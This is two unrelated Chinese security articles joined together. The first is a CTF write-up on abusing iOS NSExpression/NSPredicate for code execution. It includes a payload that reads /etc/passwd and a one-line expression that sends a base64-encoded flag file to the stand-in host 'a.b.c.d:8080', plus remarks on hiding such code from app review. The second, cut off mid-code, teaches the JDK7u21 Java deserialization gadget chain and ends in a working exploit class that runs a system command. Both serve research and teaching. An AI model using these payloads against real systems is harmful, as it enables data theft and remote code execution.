也就是说，数学运算在这里翻译成了一个 AST（抽象语法树）结构，叶子节点是各种 NSExpression 的子类，用来表示操作数。二元数学运算映射到了
_NSPredicateUtilities 类的特定方法的调用。具体到某个数字字面量，则会翻译成
NSConstantValueExpression，内部使用 NSNumber 表示具体的值。
在调用 -[NSExpression expressionValueWithObject:context:] 时，Foundation
将这个语法树转换成一系列的 NSInvocation 对象并执行。上面的数学表达式 4 + 5 - 2**3，等价于如下的 Objective-C 代码：
[_NSPredicateUtilities from:
[_NSPredicateUtilities add:@4 to:@5]
subtract:[_NSPredicateUtilities raise:@2 toPower:@3]];
而 _NSPredicateUtilities 这个类，则包含了所有支持的运算符和表达式的实现：
需要注意的是，NSExpression 返回的值并不能保证类型，在特殊情况下甚至无法保证返回的是 NSObject 的子类实例（id）。
那么什么样才叫特殊情况？
这是摘自 NSExpression 文档的一段话：
<https://developer.apple.com/documentation/foundation/nsexpression>
读者在前文已经注意到了，即使是类似 1+1 这样的数学表达式也会翻译成 NSFunctionExpression，而这个对象里直接保存了
objc_msgSend 的 target、selector 和 arguments 参数。实际上调用任意原生 Objective-C
方法是允许的，诀窍就是使用这个叫 FUNCTION() 的函数，基本等价于 objc_msgSend 或者 performSelector:。
例如：
> FUNCTION(FUNCTION(FUNCTION('A', 'superclass'), 'alloc'),
> 'initWithContentsOfFile:', '/etc/passwd')
这行表达式先用 superclass 获取 NSString 类，然后创建一个新实例并用 - initWithContentsOfFile:
方法填充内容，执行的结果会读取到 /etc/passwd 文件。
更为强大的是，Foundation 内部直接提供了一个 CAST() 操作符用来做数据类型的转换。在其中有一个“后门”，当第二个参数是 Class
时，就会调用 NSClassFromString 通过反射查找对应的类返回。
id +[_NSPredicateUtilities castObject:toType:]
(_NSPredicateUtilities_meta *self, SEL a2, id a3, id NSString)
{
if ([@"Class" isEqualToString:a4])
return NSClassFromString(a4);
是不是有 Java 反序列化漏洞的味儿了？
能 NSClassFromString 和 performSelector:，任意代码执行绰绰有余了。
Project Zero 之前做了一个 iMessage 远程 0click 任意代码执行的研究，其中创造了一种在 PAC 环境下仍然可以执行（几乎）任意
Objective-C 和导出符号的办法，称之为 SeLector Oriented Programming。
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1933>
可以看到 NSExpression 和 SLOP 的效果非常接近。不过这样执行任意代码是有局限性的：
* NSExpression 没有代码“行”的概念，一次就只有一个表达式
* 没有控制流。不过表达式支持一些逻辑运算，可以变相实现一些判断
* 默认情况下没有局部变量。只有在 -[NSExpression expressionValueWithObject:context:] 方法的 context 传入一个 NSMutableDictionary 时，才可以使用 variable assignment 语句。但由于一次只能一行表达式，实际上也不能达到局部变量的效果
* 还好 One-liner 仍然可以做很多事情
我们写了一个 python 工具类帮助生成谓词语法：
回到题目本身。由于笔者疏忽，在当时的 rwctf 上提供的二进制文件仍然是 arm64（而不是 arm64e）。这就导致原本想要的 PAC
噱头，实际上没有启用。
笔者还犯了一个错误。运维环境基于 lldb 的 USB 调试，由于 lldb 协议的局限性，自动化启动 app 时并不支持传入 URL
scheme，所以实际上是用 argv。App 还有一个 bug，没有在 delegate 里同步状态，导致实际上只有 argv 是有效的，而 URL
scheme 不能正确传入参数。这让一些在模拟器上测试的选手非常困惑
没有 PA，也就是说 ROP 仍然可用。那么在这个题目的设定之下，允许传入 NSExpression，能否控 pc？
在 SLOP 里用了一个私有函数（gadget）-[NSInvocation invokeUsingIMP:]，imp 参数即是函数指针，在不违反 PAC
限制（例如 arm64 架构，或者函数指针被 zero context 签名过）的前提下是可以修改程序控制流的。
但这个方法有一个特点，就是要求 NSInvocation 实例的 target 对象（对应 objc_msgSend 第一个参数）不得为空，否则不执行。
因此我们需要实现如下的调用链：
* +[NSInvocation alloc]
* -[NSInvocation setTarget:]
* -[NSInvocation invokeUsingIMP:]
在这里同一个变量被使用了两次，意味着没办法转换成 one-liner 的形式。
还好在标准库里直接有一个 gadget 可以帮忙：
[[NSInvocationOperation alloc] initWithTarget:target
selector:sel object:nil]
一行代码里就可以初始化一个 NSInvocationOperation 对象的 target、selector 和 object，接着用 FUNCTION
表达式访问其 invocation 属性即可返回对应的 NSInvocation。
一个要求就是，在这里的 selector: 参数不能是一个简单的字符串。因此我们用到了另一个 gadget 用来调用
NSSelectorFromString：
[[[NSFunctionExpression alloc] initWithTarget:@""
selectorName:@"alloc"
arguments:@[]] selector]
具体的 selector 和 object 都不重要，我们只需要让 target 不为空，以及能控制 imp 的值。
最终的 PoC 代码如下
转化为表达式：
至于地址随机化的问题，可以参考 SLOP 的做法，用 -[CNFileServices dlsym::] 或者 -[ABFileServices
dlsym::]（实际上就是 dlsym 的包装）直接解析出符号。
到这一步题目的做法就很清晰了。首先获取 flag 文件的路径，然后读取到一个 NSData 当中。回传数据非常简单，只需要用 Foundation 里的
[NSData dataWithContentsOfURL:] 或者 [NSString
stringWithContentsOfURL:]，就会隐式地发起一个 HTTP GET 请求来获取对应 URL 内容，从而把参数回传出去：
NSString* path = [[NSBundle main] pathForResource:"flag" ofType:""];
NSString* flag = [[NSData dataWithContentsOfFile:path] base64Encoding];
NSString* urlString = [@"http://a.b.c.d:8080/" stringByAppendingString:flag];
NSURL* url = [NSURL URLWithString:urlString];
[NSData dataWithContentsOfURL:url];
翻译为表达式格式：
FUNCTION(CAST("NSData","Class"),'dataWithContentsOfURL:',FUNCTION(CAST("NSURL","Class"),
'URLWithString:',FUNCTION("http://a.b.c.d:
8080/",'stringByAppendingString:',FUNCTION(FUNCTION(CAST("NSData","Class"),'dataWithContentsOfFile:',FUNCTION(FUNCTION(CAST("NSBundle","Class"),'mainBundle'),'pathForResource:ofType:',"flag",
"")),'base64Encoding'))))
然后 URL 编码成为 icalc:// 接受的格式即可。
所谓 RealWorld CTF，就要提到这个研究在真实世界里的应用。
iOS 上的代码签名政策非常严格，默认情况下应用都通过 AppStore
分发，并且有审核机制。苹果严令禁止应用从远端服务器动态拉取代码执行，因为这可能绕过审核机制，实现违反应用规范的功能，甚至分发恶意代码。
在开发者社区颇受欢迎的热补丁机制则是利用一些脚本语言解释器，例如系统自带的 JavaScriptCore，也有使用 lua 的，将一些 native
的功能动态导出给脚本。在解释执行脚本的时候并不需要创建新的代码页，也就自然没有代码签名的限制。
苹果曾经发送邮件警告过使用诸如 dlsym、performSelector：等动态代码执行的行为，可能会违反应用审核规范导致被下架，波及包括
ReactNative 框架用户在内的大批开发者。
而 NSPredicate 和 NSExpression
可以做到非常隐蔽。对于恶意软件，完全可以假装在过滤数组，实际上从远端拉取了动态代码执行。这种方式完全不会出现任何动态函数调用的符号（NSClassFromString、NSSelectorFromString），也没有用到任何已知的热补丁框架。哪怕是人工做源代码级别的审查，也难以发现。
如下是一个简单的 poc，通过提供一个持久化的 NSMutableDictionary 保存上下文，并循环执行多个表达式，实现多行脚本解释执行的效果。
应用动态拉取代码的攻击此前比较著名的有两次。
iOS Hacker's Handbook 的作者之一 Charlie Miller 在 AppStore
里发布了一款“股票”应用，实际上会从远程服务器拉取动态链接库并使用 dlopen
载入，从而实现绕过商店审核执行恶意代码。在此之后苹果吊销了他的开发者证书，并加入了更严格的代码签名限制阻止这种攻击。
另一篇 USENIX 论文 Jekyll on iOS: When Benign Apps Become Evil 则采用了 Return-Oriented
Programming 的办法，在程序当中隐藏漏洞，劫持控制流之后复用系统库自带的代码来实现诸如越狱等复杂的恶意代码操作。在 A12 芯片引入 PAC
之后，这种攻击实现起来更难了。
而本文提到的动态代码执行的接口在最新硬件上仍然可用。
作为攻击面考虑，在用户可控的格式串前提下可能会造成代码执行问题，就像 ctf 题目里的那样。这个攻击面看上去和 SQL 注入非常类似。
* +[NSPredicate predicateWithFormat:]
* +[NSPredicate predicateWithFormat:argumentArray:]
* +[NSPredicate predicateWithFormat:arguments:]
* +[NSExpression expressionWithFormat:]
* +[NSExpression expressionWithFormat:argumentArray:]
* +[NSExpression expressionWithFormat:arguments:]
只有当 format 参数是用户可控的字符串时才会造成风险。无论是 arguments 还是 argumentArray，在 Foundation
内部都会做类似 SQL 参数绑定的处理，不存在安全风险。
值得一提的是，format 参数可控这件事本身又是另一种经典的漏洞，格式串漏洞，和 printf 当中的利用基本类似。只是通过 runtime
特性的方式更为直接。
这种注入有没有可能出现在系统上？
苹果还真的意识到了这件事。
Foundation 有一个文档里没提到的 NSPredicateVisitor 协议。开发者可以通过实现这个协议里的委托方法来遍历表达式 AST，通过校验
expression 和 operator 的类型来过滤非法的表达式：
@protocol NSPredicateVisitor
@required
-(void)visitPredicate:(id)arg1;
-(void)visitPredicateExpression:(id)arg1;
-(void)visitPredicateOperator:(id)arg1;
@end
在获取相册的 API 里有一个 PHFetchOptions 类，提供一个 predicate
参数。这个类会跨进程调用，存在注入的风险。当我们阅读反汇编可以看到，在方法 -[PHQuery visitPredicateExpression:]
里实现了参数检查：
笔者在某个 USB 可以访问的开发者特性、IPC 传递的 PluginKit 参数、以及一个可能造成越狱持久化的文件、以及 macOS 上可能造成 root
提权和 SIP 绕过的 log 命令里，都看到了任意可控的 predicate 的影子。但不幸的是，它们全部都做了校验。
此外，NSPredicate 和 NSExpression 都支持序列化。
在启用了 SecureCoding 的情况下，predicateFlags 会添加一个标记，将影响到 _allowsEvaluation 的返回值。
除非显式调用一次 allowEvaluation 方法，否则表达式会拒绝执行。
这在一定程度上控制了反序列化的攻击面。但是请注意，被废弃的 + unarchiveObjectWithData: 方法是不受保护的。
本文从一个 CTF 题目展开，从官方文档结合反汇编分析，挖掘出语言和运行时鲜为人知却可能被滥用的机制。谁曾想到编译型的语言竟然也内置支持 eval？
参考文章:
1. <https://developer.apple.com/documentation/foundation/nspredicate?language=objc>
2. <https://developer.apple.com/documentation/foundation/nsexpression?language=objc>
3. <https://nshipster.com/nsexpression/>
4. Predicate Format String Syntax <https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/Predicates/Articles/pSyntax.html>
5. Issue 1933: SLOP - A Userspace PAC Workaround <https://bugs.chromium.org/p/project-zero/issues/detail?id=1933>
6. Wang T, Lu K, Lu L, et al. Jekyll on ios: When benign apps become evil[C]//22nd {USENIX} Security Symposium ({USENIX} Security 13). 2013: 559-572.
* * * | 社区文章 |
## 0x01 写在前面
JDK7u21原生gadget链的构造十分经典，在对于其构造及思想学习后，写下本文作为笔记。
## 0x02 所需的知识点
JDK7u21这个链用了很多的Java基础知识点，主要如下：
* Java 反射
* javassist 动态修改类
* Java 静态类加载
* Java 动态代理
* hash碰撞
为了方便大家理解此文，因此我会对这些知识点进行简单介绍，如果都了解的朋友可以直接翻到后面的分析过程。
## 0x03 基础知识
### 1、Java 反射
反射 (Reflection) 是 Java 的特征之一，在C/C++中是没有反射的，反射的存在使得运行中的 Java
程序能够获取自身的信息，并且可以操作类或对象的内部属性。那么什么是反射呢？
对此， Oracle 官方有着相关解释：
> “Reflection enables Java code to discover information about the
> fields, methods and constructors of loaded classes, and to use
> reflected fields, methods, and constructors to operate on their
> underlying counterparts, within security restrictions.”
> （反射使Java代码能够发现有关已加载类的字段、方法和构造函数的信息，并在安全限制内使用反射的字段、方法和构造函数对其底层对应的对象进行操作。）
简单来说，通过反射，我们可以在运行时获得程序或程序集中每一个类型的成员和成员的信息。同样的，JAVA的反射机制也是如此，在运行状态中，通过 Java
的反射机制，对于任意一个类，我们都能够判断一个对象所属的类；对于任意一个类，都能够知道这个类的所有属性和方法；对于任意一个对象，都能够调用它的任意一个方法和属性；这种动态获取的信息以及动态调用对象的方法的功能称为Java语言的反射机制。
既然利用Java的反射机制，我们可以无视类方法、变量访问权限修饰符，可以调用任何类的任意方法、访问并修改成员变量值，那么这可能导致安全问题，如果一个攻击者能够通过应用程序创建意外的控制流路径，那么就有可能绕过安全检查发起相关攻击。假设有段代码如下：
String name = request.getParameter("name");
Command command = null;
if (name.equals("Delect")) {
command = new DelectCommand();
} else if (ctl.equals("Add")) {
command = new AddCommand();
} else {
...
}
command.doAction(request);
存在一个字段为name，当获取用户请求的name字段后进行判断，如果请求的是 Delect 操作，则执行DelectCommand 函数，若执行的是 Add
操作，则执行 AddCommand 函数，如果不是这两种操作，则执行其他代码。
此时，假如有位开发者看到了这段代码，他觉得可以使用Java 的反射来重构此代码以减少代码行，如下所示：
String name = request.getParameter("name");
Class ComandClass = Class.forName(name + "Command");
Command command = (Command) CommandClass.newInstance();
command.doAction(request);
这样的重构看起来使得代码行减少，消除了if/else块，而且可以在不修改命令分派器的情况下添加新的命令类型，但是如果没有对传入进来的name字段进行限制，那么我们就能实例化实现Command接口的任何对象，从而导致安全问题。实际上，攻击者甚至不局限于本例中的Command接口对象，而是使用任何其他对象来实现，如调用系统中任何对象的默认构造函数，再如调用Runtime对象去执行系统命令，这就可能导致远程命令执行漏洞。
更多关于反射的内容具体可以参考我以前写的这篇文章：<https://www.cnpanda.net/codeaudit/705.html>
### 2、javassist 动态修改类
Javaassist 就是一个用来处理 Java
字节码的类库，其主要优点在于简单、便捷。用户不需要了解虚拟机指令，就可以直接使用Java编码的形式，并且可以动态改变类的结构，或者动态生成类。
Javassist中最为重要的是ClassPool，CtClass ，CtMethod 以及 CtField这几个类。
* ClassPool：一个基于HashMap实现的CtClass对象容器，其中键是类名称，值是表示该类的CtClass对象。默认的ClassPool使用与底层JVM相同的类路径，因此在某些情况下，可能需要向ClassPool添加类路径或类字节。
* CtClass：表示一个类，这些 CtClass 对象可以从ClassPool获得。
* CtMethods：表示类中的方法。
* CtFields ：表示类中的字段。
Javassit官方文档中给出的代码示例如下
首先获取 ClassPool 的实例，ClassPool 主要用来修改字节码，并且在 ClassPool 中存储着 CtClass 对象，它能够按需创建出
CtClass 对象并提供给后续处理流程使用，当需要进行类修改操作的时候，可以通过 ClassPool
实例的.get()方法，获取CtClass对象。如在上述代码中就是从 pool 中利用 get
方法获取到了`test.Rectangle`对象，然后将获取到的 CtClass 对象赋值给cc变量。
需要注意的是，从 ClassPool 中获取的 CtClass
对象，是可以被修改的。如在上述代码中，可以看到，原先的父类，由`test.Rectangle`被改成了`test.Point`。这种更改可以通过调用`CtClass().writeFile()`将其持久化到文件中。
可以举个实例来看看，如下代码：
import javassist.*;
public class TestJavassist {
public static void createPseson() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cls = pool.makeClass("Test");
CtField param = new CtField(pool.get("java.lang.String"), "test", cls);
param.setModifiers(Modifier.PRIVATE);
cls.addField(param, CtField.Initializer.constant("whoami"));
CtConstructor cons = new CtConstructor(new CtClass[]{}, cls);
cons.setBody("{test = \"whoami\";}");
cls.addConstructor(cons);
cls.writeFile("./");
}
public static void main(String[] args) {
try {
createPseson();
} catch (Exception e) {
e.printStackTrace();
}
}
}
运行后，就会生成名为`Test.class`的文件，如下图所示：
实际上如果反编译该 class 文件，可以得到以下内容：
public class Test{
private String test = "test";
public Test(){
this.test = "whoami";
}
}
这就是动态修改类的一些知识了。
更具体的可以参考这位老哥写的文章：<https://www.cnblogs.com/scy251147/p/11100961.html>
### 3、Java 静态类加载
java
静态类加载属于类加载的一种，类加载即是指`JVM`虚拟机把`.class`文件中类信息加载进内存，并进行解析生成对应的`class`对象的过程，举个通俗点的例子来说，JVM在执行某段代码时，遇到了class
A， 然而此时内存中并没有class A 的相关信息，于是 JVM 就会到相应的 class 文件中去寻 找class
A的类信息，并加载进内存中，这就是我们所说的类加载过程。
由此可见，JVM不是一开始就把所有的类都加载进内存中，而是只有第一次遇到某个需要运行的类时才会加载，且只加载一次。
类加载的过程主要分为三个部分：加载、链接、初始化，而链接又可以细分为三个小部分：验证、准备、解析。
在 **加载** 阶段，JVM 将 class
文件字节码内容通过类加载器加载到内存中，并将这些静态数据转换成方法区的运行时数据结构，然后生成一个代表这个类的 java.lang.Class 对象；在
**链接** 阶段，主要是将 Java 类的二进制代码合并到 JVM 的运行状态之中，在 **初始化**
阶段，主要是对类变量初始化，是执行类构造器的过程。换句话说，只对static修饰的变量或语句进行初始化。如果初始化一个类的时候，其父类尚未初始化，则优先初始化其父类。如果同时包含多个静态变量和静态代码块，则按照自上而下的顺序依次执行。java
静态类加载就是在这个阶段执行的，也就是说 java 静态类加载早于其他类加载。
那么什么时候会发生类初始化呢？
主要是 **类的主动引用（一定会发生类的初始化）** ，类的主动引用主要指以下情形：
* 虚拟机启动时，先初始化 main 方法所在的类
* new 一个类的对象
* 调用类的静态成员（除了 final 常量）和静态方法
* 使用`java.lang.refect`包的方法对类进行反射调用
* 当初始化一个类，如果其父类没有被初始化，那么会初始化他的父类
关于类加载，可以参考这个【`Class.forName()` 与`ClassLoader.loadClass()` \- 哪个用于动态加载？】：
<https://stackoverflow.com/questions/8100376/class-forname-vs-classloader-loadclass-which-to-use-for-dynamic-loading/8100407#8100407>
很有趣的一个讨论
### 4、Java 动态代理
代理是
Java中的一种设计模式，主要用于提供对目标对象另外的访问方式。即是通过代理对象访问目标对象。这样一来，就可以在目标对象实现的基础上，加强额外的功能操作，起到扩展目标对象的功能。
举个例子来说，我们想买一款国外的产品，但是我们自己不想出国，那么就可以通过代购的方式来获取该产品。代理模式的关键点在于代理对象和目标对象，代理对象是对目标对象的扩展，并且代理对象会调用目标对象。
来谈动态代理前可以理解以下静态代理。
所谓静态代理，就像其名字一样，当确定了代理对象和被代理对象后，无法再去代理另一个对象，比如在生活中，我们找一个专门负责代购口红的代购人员让其代购口红，但是如果想要让其代购笔记本电脑，那么其就无法实现这一要求，因此我们就需要寻找另外一个专门负责代购笔记本电脑的人员，同理，在
Java 静态代理中，如果我们想要实现另一个代理，就需要重新写一个代理对象，如下图所示的就是这个原理：
总的来说，在静态代理中，代理类和被代理的类实现了同样的接口，代理类同时持有被代理类的引用，这样，当我们需要调用被代理类的方法时，可以通过调用代理类的方法来实现，下图所示，就是静态代理实现的示意图。
静态代理的优势很明显，可以让开发人员在不修改已有代码的前提下，去完成一些增强功能的需求，但是静态代理的缺点也很明显，静态代理的使用会由于代理对象要实现与目标对象一致的接口，会产生过多的代理类，造成冗余；其次，大量使用静态代理会使项目不易维护，一旦接口增加方法，目标对象与代理对象都要进行修改。基于这两点，有了动态代理，动态代理的优势在于可以很方便的对代理类的函数进行统一的处理，而不用修改每个代理类中的方法。那对于我们信息安全人员来说，动态代理意味着什么呢？实际上，Java
中的“动态”也就意味着使用了反射，因此动态代理其实是基于反射机制的一种代理模式。
如上图，动态代理和静态代理不同的点在于，动态代理可能有不同的需求（用户），通过动态代理，可以实现多个需求。动态代理其实就是通过实现接口的方式来实现代理，具体来说，动态代理是通过
Proxy 类创建代理对象，然后将接口方法“代理”给 InvocationHandler 接口完成的。
动态代理的关键有两个，即上文中提到的 Proxy 类以及 InvocationHandler 接口，这是我们实现动态代理的核心。
##### Proxy 类
在JDK中，Java提供了`java.lang.reflect.InvocationHandler`接口和`java.lang.reflect.Proxy`类，这两个类相互配合，其中Proxy类是入口。Proxy类是用来创建一个代理对象的类，它提供了很多方法，如：
* `static InvocationHandler getInvocationHandler(Object proxy)`
这个方法主要用于获取指定代理对象所关联的调用程序
* `static Class<?> getProxyClass(ClassLoader loader, Class<?>... interfaces)`
该方法主要用于返回指定接口的代理类
* `static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h)`
该方法主要返回一个指定接口的代理类实例，该接口可以将方法调用指派到指定的调用处理程序。
* `static boolean isProxyClass(Class<?> cl)`
当且仅当指定的类通过 `getProxyClass` 方法或 `newProxyInstance` 方法动态生成为代理类时，返回
true。这个方法的可靠性对于使用它做出安全决策而言非常重要，所以此方法的实现不应仅测试相关的类是否可以扩展 Proxy。
在上述方法中，我们最常用的是`newProxyInstance`方法，这个方法的作用是创建一个代理类对象，它接收三个参数，loader、interfaces以及h，各个参数含义如下：
**loader** ：这是一个classloader对象，定义了由哪个classloader对象对生成的代理类进行加载。
**interfaces**
：代理类要实现的接口列表，表示我们将要给我们的代理对象提供一组什么样的接口，如果我们提供了这样一个接口对象数组，那么也就是声明了代理类实现了这些接口，代理类就可以调用接口中声明的所有方法。
**h**
：指派方法调用的调用处理程序，是一个InvocationHandler对象，表示的是当动态代理对象调用方法的时候会关联到哪一个InvocationHandler对象上，并最终由其调用。
##### InvocationHandler 接口
`java.lang.reflect InvocationHandler`，主要方法为`Object invoke(Object proxy, Method
method, Object[] args)`，这个方法定义了代理对象调用方法时希望执行的动作，用于集中处理在动态代理类对象上的方法调用。Invoke
有三个参数，各个参数含义如下：
**proxy** ：在其上调用方法的代理实例
**method** ：对应于在代理实例上调用的接口方法的 Method 实例。 Method
对象的声明类将是在其中声明方法的接口，该接口可以是代理类赖以继承方法的代理接口的超接口。
**args** ：包含传入代理实例上方法调用的参数值的对象数组，如果接口方法不使用参数，则为 null。基本类型的参数被包装在适当基本包装器类（如
`java.lang.Integer` 或`java.lang.Boolean`）的实例中。
以下代码就是一个简单的动态代理的实例：
package main.java.com.ms08067.dtProxy;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
public class dtProxyDemo {
}
interface Speaker{
public void speak();
}
class xiaoMing implements Speaker {
@Override
public void speak() {
System.out.println("我有纠纷!");
}
}
class xiaoHua implements Speaker {
@Override
public void speak() {
System.out.println("我有纠纷!");
}
}
class LawyerProxy implements InvocationHandler {
Object obj;
public LawyerProxy(Object obj){
this.obj = obj;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if(method.getName().equals("speak")){
System.out.println("有什么可以帮助你的");
method.invoke(obj,args);
System.out.println("根据 XXXX 法律，应该 XXXX");
}
return null;
}
}
class gov{
public static void main(String[] args) {
xiaoMing xiaoMing = new xiaoMing();
xiaoHua xiaoHua = new xiaoHua();
LawyerProxy xiaoMing_lawyerProxy = new LawyerProxy(xiaoMing);
LawyerProxy xiaoHua_lawyerProxy = new LawyerProxy(xiaoHua);
Speaker xiaoMingSpeaker = (Speaker) Proxy.newProxyInstance(gov.class.getClassLoader(),new Class[]{Speaker.class},xiaoMing_lawyerProxy);
xiaoMingSpeaker.speak();
System.out.println("*********************");
Speaker xiaoHuaSpeaker = (Speaker) Proxy.newProxyInstance(gov.class.getClassLoader(),new Class[]{Speaker.class},xiaoHua_lawyerProxy);
xiaoHuaSpeaker.speak();
}
}
以上代码就是使用动态代理的方式，当为某个类或接口指定`InvocationHandler`对象时（如：`LawyerProxy`），那么在调用该类或接口方法时,就会去调用指定`handler`的`invoke()`方法（37行）。
运行结果如下图所示：
### 5、hash碰撞
所谓的`hash`碰撞是指两个不同的字符串计算得到的`Hash`值相同。
如在[国外社区上](https://stackoverflow.com/questions/18746394/can-a-non-empty-string-have-a-hashcode-of-zero)就有人给出了以下计算 hash 值为 0 的代码：
public class hashtest {
public static void main(String[] args){
long i = 0;
loop: while(true){
String s = Long.toHexString(i);
if(s.hashCode() == 0){
System.out.println("Found: '"+s+"'");
// break loop;
}
if(i % 1000000==0){
// System.out.println("checked: "+i);
}
i++;
}
}
}
运行后会得到 hash 值为 0 的字符串，如下图所示:
Found: 'f5a5a608'
Found: '38aeaf9a6'
Found: '4b463c929'
Found: '6d49bc466'
Found: '771ffcd3a'
Found: '792e22588'
Found: '84f7f1613'
Found: '857ed38ce'
Found: '9da576938'
Found: 'a84356f1b'
## 0x04 jdk7u21 payload
整个gadget链：
终点（要达到的目标）：Runtime.exec()
||
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
||
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
||
Proxy(Templates).equals()
||
Proxy(Templates).hashCode() (X)
AnnotationInvocationHandler.invoke() (X)
AnnotationInvocationHandler.hashCodeImpl() (X)
String.hashCode() (0)
AnnotationInvocationHandler.memberValueHashCode() (X)
TemplatesImpl.hashCode() (X)
||
LinkedHashSet.add()
||
起点（要读取的内容）： LinkedHashSet.readObject()
package src.main.java;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.Arrays;
import java.util.HashMap;
import java.util.LinkedHashSet;
import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
class Reflections {
public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
Field field = clazz.getDeclaredField(fieldName);
if (field != null)
field.setAccessible(true);
else if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
return field;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Constructor<?> getFirstCtor(final String name) throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
ctor.setAccessible(true);
return ctor;
}
}
class ClassFiles {
public static String classAsFile(final Class<?> clazz) {
return classAsFile(clazz, true);
}
public static String classAsFile(final Class<?> clazz, boolean suffix) {
String str;
if (clazz.getEnclosingClass() == null) {
str = clazz.getName().replace(".", "/");
} else {
str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
}
if (suffix) {
str += ".class";
}
return str;
}
public static byte[] classAsBytes(final Class<?> clazz) {
try {
final byte[] buffer = new byte[1024];
final String file = classAsFile(clazz);
final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);
if (in == null) {
throw new IOException("couldn't find '" + file + "'");
}
final ByteArrayOutputStream out = new ByteArrayOutputStream();
int len;
while ((len = in.read(buffer)) != -1) {
out.write(buffer, 0, len);
}
return out.toByteArray();
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
class Gadgets {
static {
// 启用SecurityManager时使用TemplatesImpl gadget的特殊情况
System.setProperty(DESERIALIZE_TRANSLET, "true");
}
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
// private static final long serialVersionUID = -5971610431559700674L;
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
// required to make TemplatesImpl happy
public static class Foo implements Serializable {
// private static final long serialVersionUID = 8207363842866235160L;
}
public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?> ... ifaces) {
final Class<?>[] allIfaces
= (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
allIfaces[0] = iface;
if (ifaces.length > 0) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
}
return iface.cast(
Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces , ih));
}
public static TemplatesImpl createTemplatesImpl() throws Exception {
final TemplatesImpl templates = new TemplatesImpl();
// use template gadget class
// 获取容器ClassPool，注入classpath
ClassPool pool = ClassPool.getDefault();
// System.out.println("insertClassPath: " + new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
// 获取已经编译好的类
// System.out.println("ClassName: " + StubTransletPayload.class.getName());
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// 在静态的的构造方法中插入payload
clazz.makeClassInitializer()
.insertAfter("java.lang.Runtime.getRuntime().exec(\""
+"open -a Calculator"
+ "\");");
// 给payload类设置一个名称
// 允许重复执行的唯一名称（注意 PermGen 耗尽）
clazz.setName("ysoserial.Pwner" + System.nanoTime());
// 获取该类的字节码
final byte[] classBytes = clazz.toBytecode();
//System.out.println(Arrays.toString(classBytes));
// 将类字节注入实例
Reflections.setFieldValue(
templates,
"_bytecodes",
new byte[][] {
classBytes,
ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 只要触发这个方法就能执行我们注入的bytecodes
// templates.getOutputProperties();
return templates;
}
}
public class exp {
public Object buildPayload() throws Exception {
// 生成 evil 模板，如果触发 templates.getOutputProperties()，可以执行命令
Object templates = Gadgets.createTemplatesImpl();
// magic string, zeroHashCodeStr.hashCode() == 0
String zeroHashCodeStr = "f5a5a608";
// build a hash map, and put our evil templates in it.
HashMap map = new HashMap();
//map.put(zeroHashCodeStr, "foo"); // Not necessary
// Generate proxy's handler，use `AnnotationInvocationHandler` as proxy's handler
// When proxy is done，all call proxy.anyMethod() will be dispatch to AnnotationInvocationHandler's invoke method.
Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);
// Reflections.setFieldValue(tempHandler, "type", Templates.class); // not necessary, because newInstance() already pass Templates.class to tempHandler
Templates proxy = (Templates) Proxy.newProxyInstance(exp.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler);
// Reflections.setFieldValue(templates, "_auxClasses", null);
// Reflections.setFieldValue(templates, "_class", null);
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates); // save evil templates
set.add(proxy); // proxy
map.put(zeroHashCodeStr, templates);
return set;
}
public static void main(String[] args) throws Exception {
exp exploit = new exp();
Object payload = exploit.buildPayload();
// test payload
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.bin"));
oos.writeObject(payload);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload.bin"));
ois.readObject();
